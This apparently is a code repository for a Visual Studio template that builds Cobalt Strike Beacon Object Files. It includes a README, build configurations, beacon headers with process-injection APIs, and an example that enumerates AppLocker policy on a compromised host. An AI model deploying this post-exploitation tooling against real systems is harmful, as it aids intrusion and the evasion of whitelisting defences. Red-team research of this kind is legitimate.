230 | /c /Fo"intermediary\BOF\x86\source"
231 |
232 |
233 | None
234 | false
235 | BOF;%(PreprocessorDefinitions)
236 |
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
248 |
249 |
250 |
251 |
252 |
253 |
254 |
255 |
256 | Level1
257 |
258 |
259 | xcopy /y "$(SolutionDir)$(ProjectName)\intermediary\$(Configuration)\x86\source.obj" "$(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.o*";
260 | powershell -ExecutionPolicy Unrestricted -command "& { . '$(SolutionDir)$(ProjectName)\resources\strip_bof.ps1'; strip-bof -Path '$(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.obj' }"
261 |
262 |
263 |
264 |
265 |
266 |
267 |
268 |
269 |
270 |
271 |
272 |
273 |
274 |
275 |
276 |
277 |
--------------------------------------------------------------------------------
/Beacon Object File/scheduled-tasks.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {f23d5754-25e5-46a9-b783-8685f48d2291}
6 |
7 |
8 | {72263c50-a87a-4d99-9746-3def65c61180}
9 |
10 |
11 | {999efb6a-e35d-49fb-bf81-1ebab5077dd0}
12 |
13 |
14 |
15 |
16 | Source Files
17 |
18 |
19 |
20 |
21 | Header Files
22 |
23 |
24 | Header Files
25 |
26 |
27 |
28 |
29 | Resources
30 |
31 |
32 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ### Introduction
2 |
3 | Cobalt Strike beacon object files (BOFs) is a feature that was added to the beacon in order to allow rapid beacon extendibility in a more OPSEC way. The BOF file is a COFF object file that will be executed in the same process as the beacon and therefore eliminates the need for using OPSEC expensive techniques like fork&run. BOFs are written in C\C++ and can be built using Visual Studio or MinGW. The official documentation on BOFs can be found [here](https://www.cobaltstrike.com/help-beacon-object-files). TrustedSec provided a well-written [introduction to BOFs for developers](https://www.trustedsec.com/blog/a-developers-introduction-to-beacon-object-files/), and also provided an [example COFF loader](https://www.trustedsec.com/blog/coffloader-building-your-own-in-memory-loader-or-how-to-run-bofs/) for those interested in learning more about how BOFs work under the hood.
4 |
5 | Developing Windows applications in Visual Studio has its advantages, mainly the ease of building, debugging, and testing as well as the integration of testing tools like virtual leak detector, application verifier, cppcheck, and so on. However, creating BOFs with Visual Studio is unpleasant because of the syntax of dynamic function resolution and because additional steps must be taken to generate the BOF and strip its debug symbols. Additionally, sometimes BOFs fail in engagements, and it would be handy to know the cause of the failure in production.
6 |
7 | I wanted to create a baseline template that can be reused to develop BOFs with Visual Studio without having to worry about dynamic function resolution syntax, stripping symbols, compiler configurations, C++ name mangling, or unexpected runtime errors. Thus, the requirements were
8 |
9 | 1. Default debug and release build configurations for debugging and testing for aspects like memory or handle leaks
10 | 1. Custom BOF build configuration that will generate the BOFs, strip their debug symbols, and move them to an output directory
11 | 1. Prebuilt list of function definitions to allow developers to reuse existing code without having to add the dynamic function resolution syntax
12 | 1. Built-in error function that will print, in production, which line and function caused the error
13 | 1. Ability to write simple C++ code without having to worry about name mangling
14 |
15 | A first prototype that fulfills these requirements was created and is available on GitHub.
16 |
17 | ### Usage Instructions
18 |
19 | #### Importing The Template to Visual Studio
20 |
21 | To use the template, download and copy the latest zip file from the [releases page](https://github.com/securifybv/Visual-Studio-BOF-template/releases) into the project templates directory under My Documents. For Visual Studio 2019, the directory would be
22 |
23 | %UserProfile%\Documents\Visual Studio 2019\Templates\ProjectTemplates
24 |
25 | The template will be automatically loaded into Visual Studio the next time you run it. After a restart, you can search for “beacon” on the new project wizard to find the template.
26 |
27 |
28 | 
29 |
30 |
31 |
32 |
33 | 
34 |
35 |
36 |
37 | #### Default Structure
38 |
39 | The structure of the solution is shown in the image below. The *Header Files* filter contains the two headers needed to develop BOFs. The first header is the beacon header provided by the Cobalt Strike team. The bofdefs header is a modified version of the bofdefs header from TrustedSec. Next, the *Resources* filter contains a PowerShell script that will strip the debugging symbols. This PowerShell script is based on the work of Matthew Graeber (@mattifestation) on his ObjDump script. Finally, the *Source Files* filter contains the source code of the BOF.
40 |
41 | 
42 |
43 |
44 |
45 | #### Using The Template
46 |
47 | The template makes it as easy as copying the *main* code to the *go* function for BOFs that take no arguments. The image below shows that the code in *go* is identical to the code in *main*. The ability to reuse the code without further modification increases the efficiency of porting existing projects into BOFs and eliminates the unnatural syntax of dynamic function resolution. For BOFs that take arguments, only the argument parsing part will be different. A goal for next versions is to create generic argument parsing macros or functions to eliminate the need for any modification.
48 |
49 | 
50 |
51 |
52 | When the code is ready, it can be built for x64 and x86 BOFs at one go using the predefined build configuration inside the project template. In order to do so, go to Build -> Batch Build and tick the two architectures.
53 |
54 | 
55 |
56 |
57 | In order to build for only one architecture, select the appropriate BOF build configuration from the dropdown menu and hit build, as shown in the image below.
58 |
59 | 
60 |
61 | Regardless of the method used to build the BOF, the result is a stripped BOF ready to be used with Cobalt Strike.
62 |
63 | 
64 |
65 |
66 |
67 | #### BOFs & COM Objects
68 |
69 | Sometimes, especially when dealing with component object model (COM) objects, it is easier to use C++ instead of C. The template supports that as well. Simply rename the Source.c to Source.cpp and compile. You will be spared from name mangling because the template will automatically add *extern “C”* if C++ is used. However, you should not get your hopes up too high with developing C++ BOFs, as this is not yet fully supported by Cobalt Strike.
70 |
71 | #### Error Reporting
72 |
73 | The template comes with a built-in function to print errors in a meaningful manner for operators. The purpose is to provide the operators with sufficient information to understand why the BOF failed without revisiting the source code. The error message below is a screenshot from the Cobalt Strike console and provides the following information for the operators: the error occurred
74 |
75 | - Name function causing the error: create\_folder
76 | - Line number: 164
77 | - Description by developer: “failed to create directory”
78 | - WIN32 error code: 123
79 |
80 | 
81 |
82 | #### Modifying the template
83 |
84 | Different teams have different needs, and therefore this template might not be suitable for everyone. Modifying the template is easy. Just unzip the zip file, make your modifications to the files, and zip it again!
85 |
86 | ### Example projects
87 |
88 | To show how this template can be used, I have included two sample BOFs. The first BOF is a port of @am0nsec AppLocker enumerator, which will dump the effective AppLocker policy as beacon output. The second example is a scheduled task persistence that relies heavily on COM.
89 |
90 | ### Feature work
91 |
92 | This template is an initial prototype and many more features can be added to it. For example, the features on my to-do list includes:
93 |
94 | - Adding generic argument parsing that can be used by *main* and *go* without modifications
95 | - Internal print that takes variadic arguments
96 |
97 | Pull requests and ideas are also most welcome!
98 |
99 | ### Acknowledgments
100 |
101 | - Big thanks to the [TrustedSec](https://www.trustedsec.com/) team and [@FreeFirex](https://twitter.com/freefirex2) for sharing the code of the situational awareness BOFs [here](https://github.com/trustedsec/CS-Situational-Awareness-BOF). This template relied heavily on their work.
102 | - Paul ([@am0nsec](https://twitter.com/am0nsec)) for sharing his code and experience with undocumented COM objects [here](https://ntamonsec.blogspot.com/2020/08/applocker-policy-enumeration-in-c.html).
103 | - Matthew ([@mattifestation](https://twitter.com/mattifestation)) for sharing his work on PowerShell ObjDump [here](https://www.powershellgallery.com/packages/PowerSploit/1.0.0.0/Content/PETools%5CGet-ObjDump.ps1).
104 |
105 | ### Author
106 |
107 | This project is created and maintained by Yasser Alhazmi [@yas_o_h](https://twitter.com/Yas_o_h) / [Securify](https://www.securify.nl/en/)
108 |
109 |
--------------------------------------------------------------------------------
/examples/applocker-enumerator/AppLockerPolicy.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include
3 |
4 |
5 | /**
6 | * @brief GUID of the IAppIdPolicyHandler COM interface: B6FEA19E-32DD-4367-B5B7-2F5DA140E87D
7 | */
8 | CONST IID IID_IAppIdPolicyHandler = { 0xB6FEA19E, 0x32DD, 0x4367, {0xB5, 0xB7, 0x2F, 0x5D, 0xA1, 0x40, 0xE8, 0x7D} };
9 |
10 |
11 |
12 | // wchar_t * T_IIDIAppIdPolicyHandler L"{B6FEA19E-32DD-4367-B5B7-2F5DA140E87D}";
13 | // 0xB6FEA19E, 0x32DD, 0x4367, {0xB5, 0xB7, 0x2F, 0x5D, 0xA1, 0x40, 0xE8, 0x7D
14 |
15 |
16 | //wchar_t * T_CLSIDAppIdPolicyHandler L"{F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3}";
17 | //0xF1ED7D4C, 0xF863, 0x4DE6, {0xA1, 0xCA, 0x72, 0x53, 0xEF, 0xDE, 0xE1, 0xF3
18 |
19 | /**
20 | * @brief GUID of the IAppIdPolicyHandler class factory: F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3
21 | */
22 | CONST IID CLSID_AppIdPolicyHandlerClass = { 0xF1ED7D4C, 0xF863, 0x4DE6, {0xA1, 0xCA, 0x72, 0x53, 0xEF, 0xDE, 0xE1, 0xF3} };
23 |
24 | typedef interface IAppIdPolicyHandler IAppIdPolicyHandler;
25 |
26 |
27 | typedef struct AppIdPolicyHandlerVtbl {
28 | BEGIN_INTERFACE
29 |
30 | /**
31 | * @brief QueryInterface method from IUnknown
32 | */
33 | HRESULT(STDMETHODCALLTYPE* QueryInterface) (
34 | _In_ IAppIdPolicyHandler* This,
35 | _In_ REFIID riid,
36 | _Out_ PVOID* ppvObject
37 | );
38 |
39 | /**
40 | * @brief AddRef from IUnknown
41 | */
42 | ULONG(STDMETHODCALLTYPE* AddRef)(
43 | _In_ IAppIdPolicyHandler* This
44 | );
45 |
46 | /**
47 | * @brief Release from IUnknown
48 | */
49 | ULONG(STDMETHODCALLTYPE* Release)(
50 | _In_ IAppIdPolicyHandler* This
51 | );
52 |
53 | /**
54 | * @brief GetTypeInfoCount from IDispatch
55 | */
56 | HRESULT(STDMETHODCALLTYPE* GetTypeInfoCount)(
57 | _In_ IAppIdPolicyHandler* This,
58 | _Out_ PUINT pctinfo
59 | );
60 |
61 | /**
62 | * @brief GetTypeInfo from IDispatch
63 | */
64 | HRESULT(STDMETHODCALLTYPE* GetTypeInfo)(
65 | _In_ IAppIdPolicyHandler* This,
66 | _In_ UINT itinfo,
67 | _In_ ULONG lcid,
68 | _Out_ LPVOID* pptinfo
69 | );
70 |
71 | /**
72 | * @brief GetIDsOfNames from IDispatch
73 | */
74 | HRESULT(STDMETHODCALLTYPE* GetIDsOfNames)(
75 | _In_ IAppIdPolicyHandler* This,
76 | _In_ LPIID riid,
77 | _In_ LPOLESTR* rgszNames,
78 | _In_ UINT cNames,
79 | _In_ LCID lcid,
80 | _Out_ DISPID* rgdispid
81 | );
82 |
83 | /**
84 | * @brief Invoke from IDispatch
85 | */
86 | HRESULT(STDMETHODCALLTYPE* Invoke)(
87 | _In_ IAppIdPolicyHandler* This,
88 | _In_ DISPID dispidMember,
89 | _In_ LPIID riid,
90 | _In_ LCID lcid,
91 | _In_ WORD wFlags,
92 | _In_ DISPPARAMS* pdispparams,
93 | _In_ LPVARIANT pvarResult,
94 | _Out_ LPEXCEPINFO pexcepinfo,
95 | _Out_ PUINT puArgErr
96 | );
97 |
98 | /**
99 | * @brief SetPolicy from IAppIdPolicyHandler
100 | */
101 | HRESULT(STDMETHODCALLTYPE* SetPolicy)(
102 | _In_ IAppIdPolicyHandler* This,
103 | _In_ BSTR bstrLdapPath,
104 | _In_ BSTR bstrXmlPolicy
105 | );
106 |
107 | /**
108 | * @brief GetPolicy from IAppIdPolicyHandler
109 | */
110 | HRESULT(STDMETHODCALLTYPE* GetPolicy)(
111 | _In_ IAppIdPolicyHandler* This,
112 | _In_ BSTR bstrLdapPath,
113 | _Out_ LPBSTR pbstrXmlPolicy
114 | );
115 |
116 | /**
117 | * @brief GetEffectivePolicy from IAppIdPolicyHandler
118 | */
119 | HRESULT(STDMETHODCALLTYPE* GetEffectivePolicy)(
120 | _In_ IAppIdPolicyHandler* This,
121 | _Out_ LPBSTR pbstrXmlPolicies
122 | );
123 |
124 | /**
125 | * @brief IsFileAllowed from IAppIdPolicyHandler
126 | */
127 | HRESULT(STDMETHODCALLTYPE* IsFileAllowed)(
128 | _In_ IAppIdPolicyHandler* This,
129 | _In_ BSTR bstrXmlPolicy,
130 | _In_ BSTR bstrFilePath,
131 | _In_ BSTR bstrUserSid,
132 | _Out_ LPGUID pguidResponsibleRuleId,
133 | _Out_ PLONG pbStatus
134 | );
135 |
136 | /**
137 | * @brief IsPackageAllowed from IAppIdPolicyHandler
138 | */
139 | HRESULT(STDMETHODCALLTYPE* IsPackageAllowed)(
140 | _In_ IAppIdPolicyHandler* This,
141 | _In_ BSTR bstrXmlPolicy,
142 | _In_ BSTR bstrPublisherName,
143 | _In_ BSTR bstrPackageName,
144 | _In_ ULONG ullPackageVersion,
145 | _In_ BSTR bstrUserSid,
146 | _Out_ LPGUID pguidResponsibleRuleId,
147 | _Out_ PLONG pbStatus
148 | );
149 |
150 | END_INTERFACE
151 | } AppIdPolicyHandlerVtbl;
152 |
153 | interface IAppIdPolicyHandler {
154 | CONST_VTBL struct AppIdPolicyHandlerVtbl* lpVtbl;
155 | };
--------------------------------------------------------------------------------
/examples/applocker-enumerator/Source.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "AppLockerPolicy.h"
4 | #include "bofdefs.h"
5 |
6 |
7 |
8 | #pragma region error_handling
9 | #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
10 | BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
11 | #ifdef BOF
12 | BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
13 | #else
14 | printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
15 | #endif // BOF
16 |
17 | return FALSE;
18 | }
19 | #pragma endregion
20 |
21 |
22 |
23 | BOOL com_init() {
24 | HRESULT hr;
25 |
26 | hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
27 | if (FAILED(hr))
28 | return print_error("CoInitializeEx", hr);
29 |
30 | return TRUE;
31 | }
32 |
33 | BOOL GetAppLockerPolicies(LPBSTR pbstrPolicies) {
34 | BOOL bResult = FALSE;
35 | HRESULT hr = S_FALSE;
36 | CLSID xCLSID_AppIdPolicyHandler;
37 | IID xIID_AppIdPolicyHandler;
38 |
39 | wchar_t* T_IIDIAppIdPolicyHandler = L"{B6FEA19E-32DD-4367-B5B7-2F5DA140E87D}";
40 | wchar_t* T_CLSIDAppIdPolicyHandler = L"{F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3}";
41 |
42 | hr = CLSIDFromString(T_CLSIDAppIdPolicyHandler, &xCLSID_AppIdPolicyHandler);
43 | if (hr != S_OK)
44 | return print_error("CLSIDFromString", hr);
45 |
46 | hr = IIDFromString(T_IIDIAppIdPolicyHandler, &xIID_AppIdPolicyHandler);
47 | if (hr != S_OK)
48 | return print_error("IIDFromString", hr);
49 |
50 | // Get the COM interface
51 | IAppIdPolicyHandler* pIAppIdPolicyHandler = (IAppIdPolicyHandler*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(IAppIdPolicyHandler));
52 | hr = CoCreateInstance(&xCLSID_AppIdPolicyHandler, NULL, CLSCTX_INPROC_SERVER, &xIID_AppIdPolicyHandler, (LPVOID*)&pIAppIdPolicyHandler);
53 | if (hr != S_OK || pIAppIdPolicyHandler == NULL) {
54 | print_error("CoCreateInstance", hr);
55 | goto failure;
56 | }
57 |
58 |
59 | hr = pIAppIdPolicyHandler->lpVtbl->GetEffectivePolicy(pIAppIdPolicyHandler, pbstrPolicies);
60 |
61 | // Check if an error occurred
62 | if (hr != S_OK || *pbstrPolicies == NULL) {
63 | print_error("GetEffectivePolicy", hr);
64 | goto failure;
65 | }
66 |
67 | bResult = TRUE;
68 | failure:
69 | if (pIAppIdPolicyHandler) {
70 | pIAppIdPolicyHandler->lpVtbl->Release(pIAppIdPolicyHandler);
71 | pIAppIdPolicyHandler = NULL;
72 | }
73 |
74 | return bResult;
75 | }
76 |
77 |
78 |
79 | #ifdef BOF
80 | void go(char* buff, int len) {
81 |
82 | BSTR bstrAppLockerPolicies = NULL;
83 |
84 | if (!com_init())
85 | return;
86 |
87 | if (!GetAppLockerPolicies(&bstrAppLockerPolicies))
88 | return;
89 |
90 | BeaconPrintf(CALLBACK_OUTPUT, "AppLocker policies: %S", bstrAppLockerPolicies);
91 | CoUninitialize();
92 | }
93 |
94 |
95 | #else
96 |
97 | void main(int argc, char* argv[]) {
98 |
99 | BSTR bstrAppLockerPolicies = NULL;
100 |
101 | if (!com_init())
102 | return;
103 |
104 | if (!GetAppLockerPolicies(&bstrAppLockerPolicies))
105 | return;
106 |
107 | printf("AppLocker policies: \n%ws\n", bstrAppLockerPolicies);
108 |
109 | CoUninitialize();
110 | }
111 |
112 | #endif
--------------------------------------------------------------------------------
/examples/applocker-enumerator/applocker-enumerator.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | BOF
6 | Win32
7 |
8 |
9 | Debug
10 | Win32
11 |
12 |
13 | Release
14 | Win32
15 |
16 |
17 | BOF
18 | x64
19 |
20 |
21 | Debug
22 | x64
23 |
24 |
25 | Release
26 | x64
27 |
28 |
29 |
30 | 16.0
31 | Win32Proj
32 | {cb51a85d-1a99-41c7-95d9-a393c65d4ea1}
33 | applocker_enumerator
34 | 10.0
35 | applocker-enumerator
36 |
37 |
38 |
39 | Application
40 | true
41 | v142
42 | Unicode
43 |
44 |
45 | Application
46 | false
47 | v142
48 | true
49 | Unicode
50 |
51 |
52 | Application
53 | true
54 | v142
55 | Unicode
56 |
57 |
58 | Application
59 | false
60 | v142
61 | true
62 | Unicode
63 |
64 |
65 | v142
66 | Console
67 |
68 |
69 |
70 |
71 | Console
72 |
73 | v142
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 | $(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj;*.cdf;*.cache;*.obj;*.obj.enc;*.ilk;*.ipdb;*.iobj;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi;$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o;$(ExtensionsToDeleteOnClean)
97 |
98 | $(SolutionDir)bin\$(Configuration)\
99 | intermediary\$(Configuration)\$(Platform)\
100 | $(ProjectName)x64
101 |
102 |
103 | $(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.obj;*.cdf;*.cache;*.obj;*.obj.enc;*.ilk;*.ipdb;*.iobj;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi;$(ExtensionsToDeleteOnClean)
104 |
105 | $(SolutionDir)bin\$(Configuration)\
106 | $(ProjectName)x32
107 | intermediary\$(Configuration)\x86\
108 |
109 |
110 | $(SolutionDir)bin\$(Configuration)\
111 | $(ProjectName)64
112 |
113 |
114 | $(SolutionDir)bin\$(Configuration)\
115 | $(ProjectName)32
116 |
117 |
118 | $(SolutionDir)bin\$(Configuration)\
119 | $(ProjectName)32
120 |
121 |
122 | $(SolutionDir)bin\$(Configuration)\
123 | $(ProjectName)64
124 |
125 |
126 |
127 | EnableAllWarnings
128 | true
129 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
130 | false
131 |
132 |
133 | Level1
134 |
135 |
136 | Console
137 | true
138 |
139 |
140 |
141 |
142 | Level4
143 | true
144 | true
145 | true
146 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
147 | false
148 | Level1
149 |
150 |
151 |
152 |
153 | Console
154 | true
155 | true
156 | true
157 |
158 |
159 |
160 |
161 | EnableAllWarnings
162 | true
163 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
164 | false
165 | true
166 | Level1
167 |
168 |
169 | Console
170 | true
171 |
172 |
173 |
174 |
175 | Level4
176 | true
177 | true
178 | true
179 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
180 | false
181 | Level1
182 |
183 |
184 | Console
185 | true
186 | true
187 | true
188 |
189 |
190 |
191 |
192 | /c /Fo"intermediary\BOF\x64\source"
193 |
194 |
195 | None
196 | false
197 | BOF;%(PreprocessorDefinitions)
198 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 |
215 |
216 |
217 |
218 |
219 |
220 |
221 | Level1
222 |
223 |
224 | xcopy /y "$(SolutionDir)$(ProjectName)\intermediary\$(Configuration)\$(Platform)\source.obj" "$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o*";
225 | powershell -ExecutionPolicy Unrestricted -command "& { . '$(SolutionDir)$(ProjectName)\resources\strip_bof.ps1'; strip-bof -Path '$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj' }"
226 |
227 |
228 |
229 |
230 | /c /Fo"intermediary\BOF\x86\source"
231 |
232 |
233 | None
234 | false
235 | BOF;%(PreprocessorDefinitions)
236 |
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
247 |
248 |
249 |
250 |
251 |
252 |
253 |
254 |
255 |
256 | Level1
257 |
258 |
259 | xcopy /y "$(SolutionDir)$(ProjectName)\intermediary\$(Configuration)\x86\source.obj" "$(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.o*";
260 | powershell -ExecutionPolicy Unrestricted -command "& { . '$(SolutionDir)$(ProjectName)\resources\strip_bof.ps1'; strip-bof -Path '$(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.obj' }"
261 |
262 |
263 |
264 |
265 |
266 |
267 |
268 |
269 |
270 |
271 |
272 |
273 |
274 |
275 |
276 |
277 |
278 |
--------------------------------------------------------------------------------
/examples/applocker-enumerator/applocker-enumerator.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {f23d5754-25e5-46a9-b783-8685f48d2291}
6 |
7 |
8 | {72263c50-a87a-4d99-9746-3def65c61180}
9 |
10 |
11 | {999efb6a-e35d-49fb-bf81-1ebab5077dd0}
12 |
13 |
14 |
15 |
16 | Source Files
17 |
18 |
19 |
20 |
21 | Header Files
22 |
23 |
24 | Header Files
25 |
26 |
27 | Header Files
28 |
29 |
30 |
31 |
32 | Resources
33 |
34 |
35 |
--------------------------------------------------------------------------------
/examples/applocker-enumerator/applocker-enumerator.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/examples/applocker-enumerator/beacon.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | /*
4 | * Beacon Object Files (BOF)
5 | * -------------------------
6 | * A Beacon Object File is a light-weight post exploitation tool that runs
7 | * with Beacon's inline-execute command.
8 | *
9 | * Cobalt Strike 4.1.
10 | */
11 |
12 | /* data API */
13 | typedef struct {
14 | char * original; /* the original buffer [so we can free it] */
15 | char * buffer; /* current pointer into our buffer */
16 | int length; /* remaining length of data */
17 | int size; /* total size of this buffer */
18 | } datap;
19 |
20 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
21 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
22 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
23 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
24 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
25 |
26 | /* format API */
27 | typedef struct {
28 | char * original; /* the original buffer [so we can free it] */
29 | char * buffer; /* current pointer into our buffer */
30 | int length; /* remaining length of data */
31 | int size; /* total size of this buffer */
32 | } formatp;
33 |
34 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
35 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
36 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
37 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
38 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
39 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
40 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
41 |
42 | /* Output Functions */
43 | #define CALLBACK_OUTPUT 0x0
44 | #define CALLBACK_OUTPUT_OEM 0x1e
45 | #define CALLBACK_ERROR 0x0d
46 | #define CALLBACK_OUTPUT_UTF8 0x20
47 |
48 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
49 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
50 |
51 | /* Token Functions */
52 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
53 | DECLSPEC_IMPORT void BeaconRevertToken();
54 | DECLSPEC_IMPORT BOOL BeaconIsAdmin();
55 |
56 | /* Spawn+Inject Functions */
57 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
58 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
59 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
60 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
61 |
62 | /* Utility Functions */
63 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
64 |
--------------------------------------------------------------------------------
/examples/applocker-enumerator/bofdefs.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | /* some code and/or ideas are from trustedsec SA Github repo -- thankyou trustedsec! */
3 | #include
4 |
5 |
6 | #ifdef BOF
7 |
8 | #ifdef __cplusplus
9 | extern "C" {
10 | #endif
11 |
12 | #include "beacon.h"
13 |
14 | void go(char* buff, int len);
15 |
16 | /* COM */
17 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString(LPCWSTR, LPCLSID);
18 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv);
19 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID, DWORD);
20 | DECLSPEC_IMPORT VOID WINAPI OLE32$CoUninitialize();
21 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$IIDFromString(LPWSTR lpsz, LPIID lpiid);
22 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitialize(LPVOID pvReserved);
23 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstanceEx(REFCLSID, IUnknown*, DWORD, COSERVERINFO*, DWORD, MULTI_QI*);
24 | DECLSPEC_IMPORT BSTR WINAPI OleAut32$SysAllocString(const OLECHAR*);
25 | DECLSPEC_IMPORT LPVOID WINAPI OLEAUT32$VariantInit(VARIANTARG* pvarg);
26 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity(PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE* asAuthSvc, void* pReserved1, DWORD dwAuthnLevel, DWORD dwImpLevel, void* pAuthList, DWORD dwCapabilities, void* pReserved3);
27 |
28 | /* Registry */
29 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult);
30 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegDeleteTreeA(HKEY hKey, LPCSTR lpSubKey);
31 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, REGSAM samDesired,
32 | CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition);
33 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType,
34 | CONST BYTE* lpData, DWORD cbData);
35 |
36 |
37 | /* FileSystem */
38 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
39 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
40 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetFilePointerEx(HANDLE hFile, LARGE_INTEGER liDistanceToMove, PLARGE_INTEGER lpDistanceToMoveHigh, DWORD dwMoveMethod);
41 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
42 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetFileSizeEx(HANDLE hFile, PLARGE_INTEGER lpFileSize);
43 | DECLSPEC_IMPORT DWORD WINAPI VERSION$GetFileVersionInfoSizeW(LPCWSTR lptstrFilenamea, LPDWORD lpdwHandle);
44 | DECLSPEC_IMPORT BOOL WINAPI VERSION$GetFileVersionInfoW(LPCWSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData);
